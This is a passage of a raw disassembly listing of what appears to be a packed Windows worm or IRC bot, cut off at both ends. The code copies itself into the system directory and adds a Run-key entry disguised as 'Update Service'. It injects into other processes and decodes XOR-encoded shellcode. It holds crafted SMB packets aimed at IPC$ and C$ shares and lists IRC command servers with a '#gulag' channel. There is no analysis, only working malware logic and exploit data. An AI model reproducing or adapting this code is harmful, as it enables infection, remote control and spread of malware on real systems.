"SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... mov esi, 80000002h loc_31303530: ; CODE XREF: sub_313034CE+A0j mov eax, [ebp+var_4] push 104h mov ebx, [eax] lea eax, [ebp+var_134] push eax push ebx push edi push esi call sub_3130336A add esp, 14h test eax, eax jnz short loc_31303567 push ebx push edi push esi call sub_31303335 lea eax, [ebp+var_134] push eax call sub_31303416 add esp, 10h loc_31303567: ; CODE XREF: sub_313034CE+80j add [ebp+var_4], 4 dec [ebp+var_8] jnz short loc_31303530 pop edi pop esi pop ebx leave retn sub_313034CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31303575 proc near ; CODE XREF: sub_31303641+6Ap ; sub_31303641+CAp var_78 = byte ptr -78h var_14 = byte ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 78h cmp [ebp+arg_0], 0 jz short loc_3130358A push [ebp+arg_0] call dword_3130106C ; DeleteFileA loc_3130358A: ; CODE XREF: sub_31303575+Aj lea eax, [ebp+var_78] push 63h push eax call dword_313010B4 ; GetSystemDirectoryA test eax, eax jz locret_3130363F push esi call dword_31301120 ; rand and eax, 3 add eax, 5 push eax lea eax, [ebp+var_14] push eax call sub_31302AE5 mov esi, dword_313010EC pop ecx pop ecx lea eax, [ebp+var_14] push offset a_exe ; ".exe" push eax call esi ; lstrcat lea eax, [ebp+var_78] push offset asc_31304DDC ; "\\" push eax call esi ; lstrcat lea eax, [ebp+var_14] push eax lea eax, [ebp+var_78] push eax call esi ; lstrcat lea eax, [ebp+var_78] push 0 push eax push [ebp+arg_4] call dword_31301050 ; CopyFileA lea eax, [ebp+var_78] push eax call dword_313010CC ; lstrlen inc eax push eax lea eax, [ebp+var_78] push eax push offset aUpdateService ; "Update Service" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_313033C3 add esp, 14h push dword_31304FD0 call dword_313010A0 ; CloseHandle lea eax, [ebp+var_78] push 0 push eax call dword_31301054 ; WinExec push 1F4h call dword_313010D0 ; Sleep push 0 call dword_31301070 ; ExitProcess pop esi locret_3130363F: ; CODE XREF: sub_31303575+23j leave retn sub_31303575 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31303641 proc near ; CODE XREF: UPX0:31302E05p var_DC = byte ptr -0DCh var_78 = byte ptr -78h var_14 = byte ptr -14h push ebp mov ebp, esp sub esp, 0DCh push ebx push esi push edi lea eax, [ebp+var_78] push 63h xor edi, edi push eax push edi call dword_31301048 ; GetModuleFileNameA test eax, eax jz loc_31303712 lea eax, [ebp+var_DC] push 63h push eax push offset aUpdateService ; "Update Service" mov esi, 80000002h push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push esi mov ds:dword_31305008, edi call sub_3130336A add esp, 14h test eax, eax jz short loc_313036B5 push 2 push offset a1 ; "1" push offset aClient ; "Client" push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Wireless" push esi call sub_313033C3 lea eax, [ebp+var_78] push eax push edi call sub_31303575 add esp, 1Ch jmp short loc_31303712 ; --------------------------------------------------------------------------- loc_313036B5: ; CODE XREF: sub_31303641+4Cj lea eax, [ebp+var_78] push eax lea eax, [ebp+var_DC] push eax call dword_3130104C ; lstrcmpi test eax, eax jnz short loc_31303700 lea eax, [ebp+var_14] push 14h mov ebx, offset aClient ; "Client" push eax mov edi, offset aSoftwareMicr_0 ; "Software\\Microsoft\\Wireless" push ebx push edi push esi call sub_3130336A add esp, 14h test eax, eax jnz short loc_31303712 push ebx push edi push esi mov ds:dword_31305008, 1 call sub_31303335 add esp, 0Ch jmp short loc_31303712 ; --------------------------------------------------------------------------- loc_31303700: ; CODE XREF: sub_31303641+87j lea eax, [ebp+var_78] push eax lea eax, [ebp+var_DC] push eax call sub_31303575 pop ecx pop ecx loc_31303712: ; CODE XREF: sub_31303641+1Dj ; sub_31303641+72j ... pop edi pop esi pop ebx leave retn sub_31303641 endp ; =============== S U B R O U T I N E ======================================= sub_31303717 proc near ; CODE XREF: sub_31301228+2Ap ; sub_313014C6+27p ... arg_0 = dword ptr 4 push 4 push 1000h push [esp+8+arg_0] push 0 call dword_31301044 ; VirtualAlloc retn sub_31303717 endp ; =============== S U B R O U T I N E ======================================= sub_3130372B proc near ; CODE XREF: sub_31301228+EBp ; sub_313014C6+75p ... arg_0 = dword ptr 4 push 8000h push 0 push [esp+8+arg_0] call dword_31301040 ; VirtualFree retn sub_3130372B endp ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3130373E proc near ; CODE XREF: sub_31301228+4Bp ; sub_31301631+93p ... jmp dword_3130111C sub_3130373E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31303744 proc near ; CODE XREF: sub_31301562+20p ; sub_31301631+128p ... jmp dword_31301118 sub_31303744 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3130374A proc near ; CODE XREF: sub_31301631+9Cp ; sub_31301631+C5p ... jmp dword_31301114 sub_3130374A endp ; =============== S U B R O U T I N E ======================================= sub_31303750 proc near ; CODE XREF: sub_31301631+8p arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_31303770 loc_3130375C: ; CODE XREF: sub_31303750+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_3130375C loc_31303770: ; CODE XREF: sub_31303750+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_31303750 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_313037B4 loc_31303780: ; CODE XREF: sub_313037B4+5j ; UPX0:313037D0j jmp dword ptr locret_31301106+2 ; END OF FUNCTION CHUNK FOR sub_313037B4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31303790 proc near ; CODE XREF: sub_31302260+5p ; UPX0:31302437p jmp dword ptr loc_31301104 sub_31303790 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31303796 proc near ; CODE XREF: sub_31302F59+10Cp ; sub_31302F59+119p ... jmp dword_313010F8 sub_31303796 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3130379C proc near ; CODE XREF: sub_31302F59+35p jmp dword_313010F4 sub_3130379C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_313037A2 proc near ; CODE XREF: sub_31303416+ABp jmp dword_31301064 sub_313037A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_313037A8 proc near ; CODE XREF: sub_31303416+64p jmp dword_3130105C sub_313037A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_313037AE proc near ; CODE XREF: sub_31303416+2Dp jmp dword_31301058 sub_313037AE endp ; =============== S U B R O U T I N E ======================================= sub_313037B4 proc near ; DATA XREF: sub_31302260o ; FUNCTION CHUNK AT 31303780 SIZE 00000006 BYTES mov eax, offset dword_313037D8 jmp loc_31303780 sub_313037B4 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-1F0h] jmp loc_31301E48 ; --------------------------------------------------------------------------- loc_313037CB: ; DATA XREF: UPX0:loc_31302432o mov eax, offset dword_31303830 jmp loc_31303780 ; --------------------------------------------------------------------------- align 4 dword_313037D8 dd 19930520h, 2, 313037F8h, 1, 31303808h, 3 dup(0) ; DATA XREF: sub_313037B4o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 31303820h, 4 dup(0) dd offset loc_31302343 dword_31303830 dd 19930520h, 1, 31303850h, 5 dup(0) ; DATA XREF: UPX0:loc_313037CBo dd 0FFFFFFFFh, 313037C0h, 1EAh dup(0) dword_31304000 dd 206h, 2400h, 31415352h, 800h, 10001h, 0A495BDEFh, 0DD499F8Eh ; DATA XREF: sub_313011B9+3Ao dd 64DB1F45h, 0DE5B5C5h, 23CBE2AAh, 63639922h, 7318481Ch dd 749AC3F2h, 4D855620h, 0AD0FE1CCh, 691506D3h, 0A8FD8D37h dd 700B1698h, 45504FCEh, 324A3914h, 5C10E3EFh, 0DFBDD847h dd 371EBA84h, 8B817380h, 7D4A0DF5h, 2DFE92E0h, 0C699C9C5h dd 9C85E020h, 6A5068BDh, 8250B629h, 7F42C334h, 1C980811h dd 9CE7B7B2h, 3D77899Dh, 0A4D3971Ah, 0A58D5029h, 8D463A96h dd 1612E8FCh, 44AF10EBh, 0D0F84570h, 0B178966Ah, 0EB51439Fh dd 7086A827h, 0DE098A39h, 0C1A1C214h, 0BF167A53h, 611A85C4h dd 9829E70Fh, 8966209Eh, 0CB1FE53h, 0ECCA9407h, 0A11E75A3h dd 0B4E8F91Dh, 1A4ECBC5h, 69D7F0DBh, 8C1A8739h, 18C67B94h dd 3EB38213h, 0E0424BBFh, 8400EB67h, 0AA60B737h, 22D7D8B3h dd 7A650480h, 86FF4BA6h, 0F6458558h, 56EEF96Eh, 32002FC9h dd 0B7A63B4Ah, 0EBD3D87Ah aCont db 'cont',0 ; DATA XREF: sub_313011A0+3o align 10h loc_31304120: ; DATA XREF: sub_31301631+24Eo ; sub_31301631+260o ... jmp short loc_31304149 ; --------------------------------------------------------------------------- loc_31304122: ; DATA XREF: sub_31303256+6Bo adc dh, [esi] loc_31304124: ; DATA XREF: sub_31303256+87o aad 0AAh stosb stosd loc_31304128: ; CODE XREF: UPX0:loc_31304149p pop ebp xor ecx, ecx mov cx, 225h lea esi, [ebp+5] mov edi, esi loc_31304134: ; CODE XREF: UPX0:31304145j mov al, [esi] cmp al, 99h jnz short loc_3130413F inc esi mov al, [esi] sub al, 30h loc_3130413F: ; CODE XREF: UPX0:31304138j inc esi xor al, 99h mov [edi], al inc edi loop loc_31304134 jmp short near ptr loc_31304152+1 ; --------------------------------------------------------------------------- loc_31304149: ; CODE XREF: UPX0:loc_31304120j call loc_31304128 bound esp, cs:[ebp+67h] loc_31304152: ; CODE XREF: UPX0:31304147j db 2Eh jno short near ptr dword_31304000+0E8h cdq leave cdq leave cdq leave adc bh, ch mov ebp, 9916FD91h leave sal dword ptr [edx+68h], 0AAh inc edx std db 66h stosb std adc [edx-670EE3ECh], bh cdq leave cdq leave leave rep cwde icebp cwde cdq leave xchg bl, [ecx-67F68E37h] cdq leave cdq leave nop pop edi retf ; --------------------------------------------------------------------------- dw 9237h dd 0BB1C9659h, 99C99998h, 997518C9h, 0C9999BC9h, 0F1CDC999h dd 0C9999898h, 0D271C999h, 99C99998h, 47ECE4C9h, 995D1854h dd 0C9999BC9h, 9FF3C999h, 9BF398F3h, 9998AF71h, 0F3C999C9h dd 1065E368h, 99981D1Ch, 1AC999C9h, 5EFFD975h, 999BBD9Dh dd 0DC12FFC9h, 0DD10FF4Dh, 0DC129BBDh, 3333AC4Fh, 0DD103333h dd 59B29DBDh, 91BDE514h, 45123232h, 66CA89F3h, 99981D2Ch dd 71C999C9h, 99C9996Fh, 13C999C9h, 1A744167h, 5992D95Dh dd 99341C96h, 99C999C9h, 0F19DF3C9h, 9989C999h, 0F1C999C9h dd 0C999C999h, 0F3C99998h, 6571C999h, 0C999C999h, 0F367C999h dd 1C10F0E3h, 0C99998E5h, 99F3C999h, 0C999F1C9h, 9998C999h dd 2C66C9C9h, 0C999981Dh, 2E71C999h, 0C999C999h, 0E86FC999h dd 0F3C997C0h, 1D2C669Bh, 99C99998h, 993C71C9h, 99C999C9h dd 0E5C1D8C9h, 0C959B2D5h, 0C99BF3C9h, 0C999F1C9h, 0C999C999h dd 0F60414D9h, 99C99998h, 2971CAC9h, 0C999C999h, 688DC999h dd 1C109161h, 0C99998F2h, 1AC3C999h, 0A7ED6661h, 0F35D12CDh dd 0CBC9C999h, 98E52C66h, 0C999C999h, 98F22C66h, 0C999C999h dd 0C9991171h, 0C999C999h, 96A6485Ah, 0F22C66C0h, 99C99998h dd 99E171C9h, 99C999C9h, 0A7294CC9h, 149CF3EBh, 9998F604h dd 0CAC999C9h, 0C999FF71h, 0C999C999h, 7126F434h, 71C999F3h dd 99C999C2h, 0F9C999C9h, 0ECEF133Bh, 99C999A0h, 99C999C9h dd 0B7C999C9h, 0E9EDFFC5h, 0B7FDE9ECh, 99FCE1FCh, 6 dup(99C999C9h) dd 0FCF5CAC9h, 0C999E9FCh, 0F7EBFCF2h, 0ABAAF5FCh, 34C7C999h dd 0B459AAF9h, 1E662A2Dh, 0E7E6ACC9h, 9CC9A5B7h, 829DB8BDh dd 9271CDC9h, 0C999C999h, 19BFC999h, 0FD145135h, 720A95BDh dd 0F934C791h, 0C999C871h, 0C999C999h, 12A5D212h, 9AE180D5h dd 146FAA52h, 0C89A2A8Dh, 9A8B12B9h, 5859AA4Ah, 9BAB9E59h dd 99A319DBh, 0A26CECC9h, 0ED85BDDDh, 0E8A2DF9Eh, 5544EB81h dd 9ABDC812h, 8D2E964Ah, 85D812EBh, 9D125A9Ah, 105A9A09h dd 0F885BDDDh, 98191C10h, 0C999C999h, 7F664966h, 8712FEFDh dd 12C999A9h, 0C21295C2h, 12821285h, 0B75A91C2h, 0B7FDF7FCh dd 0 dword_313043FC dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_31301631+186o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_31304488 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31301631+1BAo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dd 0 dword_31304534 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31301631+1EEo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_31304614 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31301631+8Do dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_31301631+BFo unicode 0, <C$>,0 a????? db '?????',0 align 8 dword_31304678 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31301631+2D4o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_313046E4 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31301631+308o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_31304788 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31301631+4EEo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dword_31304808 dd 401495h, 3, 40707Ch, 1, 0 ; DATA XREF: sub_31301631+51Co dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_3130489C dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31301631+347o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_31304908 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31301631+372o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_3130497C dd 0 ; DATA XREF: sub_31301631+3A0o dd 40A89Ah, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 4 dup(0) dd 586E6957h, 72502050h, 6Fh, 0Ah dup(0) dword_31304A40 dd 1004600h ; DATA XREF: sub_31301631+289r dd 1, 326E6957h, 7250206Bh, 6Fh, 0Ah dup(0) dword_31304A7C dd 7515123Ch, 2, 326E6957h, 5341206Bh, 0Bh dup(0) ; DATA XREF: sub_31301631+41Bo ; sub_31301631+45Do dd 751C123Ch, 0Fh dup(0) ; --------------------------------------------------------------------------- loc_31304AF8: ; DATA XREF: sub_31301631+44Ao jmp short loc_31304B00 ; --------------------------------------------------------------------------- jmp short loc_31304B02 ; --------------------------------------------------------------------------- align 10h loc_31304B00: ; CODE XREF: UPX0:loc_31304AF8j ; DATA XREF: sub_31301631+5Co pop esp pop esp loc_31304B02: ; CODE XREF: UPX0:31304AFAj and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_31304B0C dd 1CEC8166h ; DATA XREF: sub_31301631+Dr dword_31304B10 dd 0E4FF07h ; DATA XREF: sub_31301631+1Cr aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_31301B98+62o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_31301B98+39o align 10h aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_31301B98+2Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_31301B98+1Bo align 4 aAdvapi32 db 'advapi32',0 ; DATA XREF: sub_31301B98+8o align 4 aUterm_9 db 'uterm_9',0 ; DATA XREF: sub_31301C20:loc_31301D05o ; UPX0:31302DD6o ... aShell_traywnd db 'Shell_TrayWnd',0 ; DATA XREF: sub_31301C20+58o align 10h aCreateremoteth db 'CreateRemoteThread',0 ; DATA XREF: sub_31301C20:loc_31301C67o align 4 aVirtualallocex db 'VirtualAllocEx',0 ; DATA XREF: sub_31301C20+34o align 4 aKernel32 db 'kernel32',0 ; DATA XREF: sub_31301C20+18o align 10h off_31304BC0 dd offset aMoscowAdvokat_ ; DATA XREF: UPX0:313024FAr ; UPX0:3130254Dr ; "moscow-advokat.ru" dd offset aGazProm_ru ; "gaz-prom.ru" dd offset aGraz_at_eu_und ; "graz.at.eu.undernet.org" dd offset aFlanders_be_eu ; "flanders.be.eu.undernet.org" dd offset aCaen_fr_eu_und ; "caen.fr.eu.undernet.org" dd offset aBrussels_be_eu ; "brussels.be.eu.undernet.org" dd offset aLosAngeles_ca_ ; "los-angeles.ca.us.undernet.org" dd offset aWashington_dc_ ; "washington.dc.us.undernet.org" dd offset aLondon_uk_eu_u ; "london.uk.eu.undernet.org" dd offset aIrc_tsk_ru ; "irc.tsk.ru" dd offset aLia_zanet_net ; "lia.zanet.net" dd offset aGaspode_zanet_ ; "gaspode.zanet.org.za" dd offset dword_31304BF4 dword_31304BF4 dd 2E637269h, 2E72616Bh, 74656Eh ; DATA XREF: UPX0:31304BF0o aGaspode_zanet_ db 'gaspode.zanet.org.za',0 ; DATA XREF: UPX0:31304BECo align 4 aLia_zanet_net db 'lia.zanet.net',0 ; DATA XREF: UPX0:31304BE8o align 4 aIrc_tsk_ru db 'irc.tsk.ru',0 ; DATA XREF: UPX0:31304BE4o align 4 aLondon_uk_eu_u db 'london.uk.eu.undernet.org',0 ; DATA XREF: UPX0:31304BE0o align 10h aWashington_dc_ db 'washington.dc.us.undernet.org',0 ; DATA XREF: UPX0:31304BDCo align 10h aLosAngeles_ca_ db 'los-angeles.ca.us.undernet.org',0 ; DATA XREF: UPX0:31304BD8o align 10h aBrussels_be_eu db 'brussels.be.eu.undernet.org',0 ; DATA XREF: UPX0:31304BD4o aCaen_fr_eu_und db 'caen.fr.eu.undernet.org',0 ; DATA XREF: UPX0:31304BD0o aFlanders_be_eu db 'flanders.be.eu.undernet.org',0 ; DATA XREF: UPX0:31304BCCo aGraz_at_eu_und db 'graz.at.eu.undernet.org',0 ; DATA XREF: UPX0:31304BC8o aGazProm_ru db 'gaz-prom.ru',0 ; DATA XREF: UPX0:31304BC4o aMoscowAdvokat_ db 'moscow-advokat.ru',0 ; DATA XREF: UPX0:off_31304BC0o align 4 aAbcdefghijkl_0 db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_31301D2B+1Co align 4 aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_31301D2B+Co align 10h aUserS8S db 'USER %s 8 * :%s',0Dh,0Ah,0 ; DATA XREF: sub_31301E60+1C4o align 4 aAlready db 'already',0 ; DATA XREF: sub_31301E60+133o aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_31301E60+D9o ; sub_31301E60+165o align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_31301E60+9Co align 4 aPongS db 'PONG%s',0Dh,0Ah,0 ; DATA XREF: sub_313020A2+4Fo align 10h aPing db 'PING',0 ; DATA XREF: sub_313020A2+Co ; sub_31302125:loc_313021C7o align 4 a451 db '451',0 ; DATA XREF: sub_31302125+8Eo aJoinS db 'JOIN %s',0Dh,0Ah,0 ; DATA XREF: sub_31302125+16o align 4 aQuitS db 'QUIT %s',0Dh,0Ah,0 ; DATA XREF: sub_313021F7+2Co align 4 aPrivmsgSS db 'PRIVMSG %s %s',0Dh,0Ah,0 ; DATA XREF: sub_3130235D+3Bo aGulag db '#gulag',0 ; DATA XREF: UPX0:3130259Do align 4 a9: ; DATA XREF: UPX0:3130248Ao unicode 0, <9>,0 a_: ; DATA XREF: UPX0:3130247Fo unicode 0, <_>,0 a_exe db '.exe',0 ; DATA XREF: sub_3130263B+75o ; sub_31303575+4Bo align 4 asc_31304DDC: ; DATA XREF: sub_3130263B+49o ; sub_31303575+56o unicode 0, <\>,0 aMozilla4_0Comp db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_3130263B+13o align 4 aJoin db 'JOIN',0 ; DATA XREF: sub_31302755+2EBo align 4 aQ: ; DATA XREF: sub_31302755+2C6o unicode 0, <q>,0 aDD9SD db '%d,%d,9%s,%d',0 ; DATA XREF: sub_31302755+2A0o align 10h aI: ; DATA XREF: sub_31302755+256o unicode 0, <i>,0 asc_31304E34: ; DATA XREF: sub_31302755+23Do unicode 0, <|>,0 aE: ; DATA XREF: sub_31302755+148o unicode 0, <e>,0 a1D db '-1,%d',0 ; DATA XREF: sub_31302755+79o align 4 aFtpupd_exe db 'ftpupd.exe',0 ; DATA XREF: UPX0:31302DC1o align 10h aU9 db 'u9',0 ; DATA XREF: sub_31302E37+3Ao align 4 aU7 db 'u7',0 ; DATA XREF: sub_31302E37+2Eo align 4 aU6 db 'u6',0 ; DATA XREF: sub_31302E37+24o align 4 aU9x db 'u9x',0 ; DATA XREF: sub_31302E37+Bo asc_31304E60 db 0Dh,0Ah,0 ; DATA XREF: sub_31302F59+124o align 4 aUseridUnix db ' : USERID : UNIX : ',0 ; DATA XREF: sub_31302F59+104o aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_31302C49+23o ; sub_313034CE+58o ... align 4 aUpdateService db 'Update Service',0 ; DATA XREF: sub_31302C49+1Co ; sub_31303575+87o ... align 4 aSoftwareMicr_0 db 'Software\Microsoft\Wireless',0 ; DATA XREF: sub_31303641+5Ao ; sub_31303641+94o aClient db 'Client',0 ; DATA XREF: sub_31303641+55o ; sub_31303641+8Eo align 4 aAvserve2_exe db 'avserve2.exe',0 ; DATA XREF: sub_313034CE+47o align 4 aAvserve_exe db 'avserve.exe',0 ; DATA XREF: sub_313034CE+40o aWindowsUpdateS db 'Windows Update Service',0 ; DATA XREF: sub_313034CE+39o align 10h aWinupdate db 'WinUpdate',0 ; DATA XREF: sub_313034CE+32o align 4 aSystray db 'SysTray',0 ; DATA XREF: sub_313034CE+2Bo aBotLoader db 'Bot Loader',0 ; DATA XREF: sub_313034CE+24o align 10h aSystemRestoreS db 'System Restore Service',0 ; DATA XREF: sub_313034CE+1Do align 4 aSystemServiceM db 'System Service Manager',0 ; DATA XREF: sub_313034CE+16o align 10h aWindowsSecurit db 'Windows Security Manager',0 ; DATA XREF: sub_313034CE+Fo align 4 a1: ; DATA XREF: sub_31303641+50o unicode 0, <1>,0 dd 6 dup(0) dword_31304F98 dd 0 ; DATA XREF: UPX0:31302447w ; UPX0:31302586w ... dword_31304F9C dd 0 ; DATA XREF: UPX0:loc_313024A0o ; sub_31302755+E9r ... dword_31304FA0 dd 8 dup(0) ; DATA XREF: UPX0:313024A8o ; sub_31302755+Ao dword_31304FC0 dd 0 ; DATA XREF: sub_31302755+266o dword_31304FC4 dd 0 ; DATA XREF: sub_31302BFB+Dr ; sub_31302C49+80w dword_31304FC8 dd 0 ; DATA XREF: sub_31302755+29Ar ; sub_31302BFB+25o ... dword_31304FCC dd 0 ; DATA XREF: sub_31302BFB+7r ; sub_31302C49+75w ... dword_31304FD0 dd 44h ; DATA XREF: sub_31301C20+C2r ; UPX0:31302DE1w ... dword_31304FD4 dd 0 ; DATA XREF: sub_31302E23+2r ; sub_31302E37+1Aw dword_31304FD8 dd 8 dup(0) ; DATA XREF: sub_31302F59+2Eo dword_31304FF8 dd 0 ; DATA XREF: sub_31302C49+E0w ; sub_31303256+55r dword_31304FFC dd 31300000h ; DATA XREF: sub_31301C20+6r ; UPX0:31302DC6w UPX0 ends ; Section 2. (virtual address 00005000) ; Virtual size : 00003000 ( 12288.) ; Section size in file : 00003000 ( 12288.) ; Offset to raw data for section: 00005000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 31305000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_31305000 dd 0 ; DATA XREF: sub_31302755+294r ; sub_31303112+36o ... dword_31305004 dd 0 ; DATA XREF: sub_31302755+282r ; sub_31303256+37w ... dword_31305008 dd 0 ; DATA XREF: UPX0:3130246Cr ; sub_31303641+3Cw ... dd 3FDh dup(0) dd 0C4h, 40h, 72695601h, 6C617574h, 65657246h, 69560100h dd 61757472h, 6C6C416Ch, 100636Fh, 4D746547h, 6C75646Fh dd 6C694665h, 6D614E65h, 1004165h, 7274736Ch, 69706D63h dd 43010041h, 4679706Fh, 41656C69h, 69570100h, 6578456Eh dd 43010063h, 74616572h, 6F6F5465h, 6C65686Ch, 53323370h dd 7370616Eh, 746F68h, 6F725001h, 73736563h, 69463233h dd 747372h, 72655401h, 616E696Dh, 72506574h, 7365636Fh dd 50010073h, 65636F72h, 32337373h, 7478654Eh, 65540100h dd 6E696D72h, 54657461h, 61657268h, 44010064h, 74656C65h dd 6C694665h, 1004165h, 74697845h, 636F7250h, 737365h dd 74654701h, 656C6946h, 657A6953h, 65520100h, 69466461h dd 100656Ch, 65746E49h, 636F6C72h, 4964656Bh, 6572636Eh dd 746E656Dh, 72430100h, 65746165h, 636F7250h, 41737365h dd 72430100h, 65746165h, 6574754Dh, 1004178h, 7274736Ch dd 41706D63h, 65470100h, 636F4C74h, 49656C61h, 416F666Eh dd 736C0100h, 70637274h, 1004179h, 4C746547h, 45747361h dd 726F7272h, 79530100h, 6D657473h, 656D6954h, 69466F54h dd 6954656Ch, 100656Dh, 53746547h, 65747379h, 6D69546Dh dd 43010065h, 65736F6Ch, 646E6148h, 100656Ch, 74697257h dd 6C694665h, 43010065h, 74616572h, 6C694665h, 1004165h dd 